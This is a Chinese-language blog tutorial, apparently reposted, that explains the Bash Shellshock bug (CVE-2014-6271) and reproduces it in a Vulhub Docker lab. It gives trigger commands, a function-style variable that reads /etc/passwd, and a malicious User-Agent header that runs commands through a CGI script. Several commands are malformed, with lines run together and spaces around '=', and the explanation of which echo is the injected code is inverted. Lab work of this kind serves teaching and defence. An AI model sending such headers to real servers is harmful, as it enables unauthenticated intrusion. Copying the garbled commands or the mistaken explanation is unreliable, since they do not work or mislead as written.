组件漏洞学习特辑一|BashShellshock(CVE-2014-6271)漏洞复现全解

admin 2026-05-26 04:32:16 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细分析了BashShellshock漏洞(CVE-2014-6271)的成因与复现方法。漏洞因Bash解析环境变量时未严格校验函数边界,导致攻击者可通过恶意构造的HTTP头等途径实现远程代码执行。文档提供了Vulhub环境下的完整复现步骤,包括Docker部署、漏洞验证及利用场景分析,并指出影响范围为Bash≤4.3版本。 综合评分: 85 文章分类: 漏洞分析,WEB安全,实战经验


cover_image

组件漏洞学习特辑一 | Bash Shellshock(CVE-2014-6271)漏洞复现全解

原创

OOO OOO

船山信安

2026年5月25日 16:36 湖南

在小说阅读器读本章

去阅读

一、漏洞基础信息

漏洞名称:Shellshock(破壳漏洞)

漏洞编号:CVE-2014-6271

漏洞类型:远程代码执行 RCE

危害等级:CVSS 10.0 最高危

影响组件:GNU Bash ≤ 4.3

披露时间:2014-09-24

核心问题:Bash 解析环境变量时,函数定义后可夹带恶意代码并自动执行


二、漏洞原理

1.正常环境变量与函数

Bash 支持把函数导出为环境变量,子进程可以继承执行:

x(){echo "test";}export -f xbashx  #子进程仍可执行,输出 test

2.漏洞触发逻辑

Bash 在解析以() {开头的环境变量时,识别为函数定义,执行完函数后不停止解析,继续执行函数后面拼接的任意命令。

漏洞本质就是没有严格截断函数边界,参数未做合法性校验。

3.最简触发命令

env x = '() { :; }; echo 漏洞存在' bash -c "echo 正常执行"

若输出漏洞存在,说明目标存在 Shellshock 漏洞。


三、利用条件与场景

1.利用三要素

Bash 版本 ≤ 4.3(存在解析缺陷)

攻击者可控环境变量(如 HTTP 头、SSH 环境、DHCP 等)

新的 Bash 子进程被启动(执行 CGI、脚本、命令等)

2. 典型利用场景

Apache + CGI,Web 服务器会把 HTTP 请求头转为 HTTP_* 环境变量:

User-Agent: xxx --> HTTP_USER_AGENT=xxx

CGI 脚本用 Bash 执行时,继承全部环境变量,恶意请求头直接触发漏洞,实现无认证 RCE。


四、Vulhub 完整复现

1.环境准备

安装 Docker + docker-compose

拉取 vulhub 镜像库

2.启动漏洞环境

git clone https://github.com/vulhub/vulhub.gitcd vulhub/bash/CVE-2014-6271docker-compose up -d

3.进入容器验证 Bash 版本

4.本地变量 / 函数测试

这一步我们在容器内部手动测试 Bash 的环境变量与函数解析机制,从根源理解 Shellshock 为什么能触发。

① 普通环境变量测试

首先执行以下命令:

#定义一个普通环境变量export test = "hello"# 启动一个新的 Bash 子进程bash# 在子进程中查看变量echo $test

export 的作用是将变量导出为环境变量,让子进程也能继承,执行 bash 会开启一个全新的 Bash 子进程,在子进程里 echo $test 仍然能输出 hello,说明环境变量可以跨子进程传递,这是 Linux/Unix 系统正常的环境变量机制,本身没有问题。

② 函数形式环境变量测试

接下来我们构造以() {开头的环境变量,观察 Bash 的异常行为:

#构造一个“看起来像函数”的环境变量export func = '() { cat /etc/passwd; }'# 启动新的 Bash 子进程bash# 执行函数名func

我们并没有真正定义函数,只是把一个字符串赋值给环境变量,字符串内容以 () { 开头,符合 Bash 函数的定义格式,启动新 Bash 子进程时,Bash 会自动扫描并解析环境变量,但是 Bash 错误地把这个字符串解析成了一个合法函数,执行 func 时,成功读取 /etc/passwd 文件,证明变量被当作函数执行了,这就是 Shellshock 漏洞的核心,Bash 对环境变量的函数解析没有边界校验。

③ 漏洞最简触发

env x = '() { :; }; echo test1' bash -c "echo test2"

env x=’…’:设置一个环境变量 x。

() { :; };:构造一个空函数,让 Bash 认为这是函数定义。

echo test2:紧跟在函数后面的恶意代码。

bash -c “…”:启动子 Bash,触发解析。

正常逻辑是只执行 echo test1。但是实际情况是连 echo test2 也一起执行了。这说明 Bash 执行完函数后没有停止,而是继续执行了后面的任意代码。

5.漏洞验证

访问 http://IP:8080/cgi-bin/victim.cgi

抓包修改 User-Agent为

() { :; };echo ; echo $(/bin/ls /) #CGI 必须先输出响应头,再输出内容,所以加一个echo ;使命令回显

执行成功,在另一个safe.cgi中执行不成功。

Tips:为什么 User-Agent 能生效?

  1. CGI 文件特性,每次HTTP请求,请求头会被解析成环境变量,都会服务器新增环境变量(HTTP_USER_AGENT、HTTP_HOST…)
  2. CGI 脚本启动 Bash 子进程会继承全部环境变量

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:船山信安 OOO OOO《组件漏洞学习特辑一 | Bash Shellshock(CVE-2014-6271)漏洞复现全解》

评论:0   参与:  0